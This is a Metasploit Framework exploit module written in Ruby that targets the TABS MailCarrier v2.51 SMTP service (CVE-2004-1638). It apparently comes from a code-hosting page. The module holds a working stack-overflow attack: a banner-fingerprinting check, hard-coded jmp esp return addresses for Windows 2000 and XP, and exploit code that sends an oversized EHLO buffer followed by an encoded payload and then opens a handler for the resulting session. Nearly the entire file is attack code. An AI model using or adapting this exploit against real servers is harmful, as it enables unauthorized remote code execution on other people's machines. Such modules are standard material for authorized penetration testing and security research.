90 lines
2.2 KiB
Ruby
90 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
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'Description' => %q{
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This module exploits the MailCarrier v2.51 suite SMTP service.
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The stack is overwritten when sending an overly long EHLO command.
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},
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'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
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'Arch' => [ ARCH_X86 ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-1638' ],
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[ 'OSVDB', '11174' ],
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[ 'BID', '11535' ],
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[ 'URL', 'http://milw0rm.com/exploits/598' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 300,
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'BadChars' => "\x00\x0a\x0d:",
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
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[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1
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[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
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],
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'DisclosureDate' => 'Oct 26 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(25),
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Opt::LHOST(), # Required for stack offset
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], self.class)
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end
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def check
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connect
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banner = sock.get_once(-1,3)
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disconnect
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if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
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sploit << [target['Ret']].pack('V') + payload.encoded
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sock.put(sploit + "\r\n")
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handler
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disconnect
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end
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end
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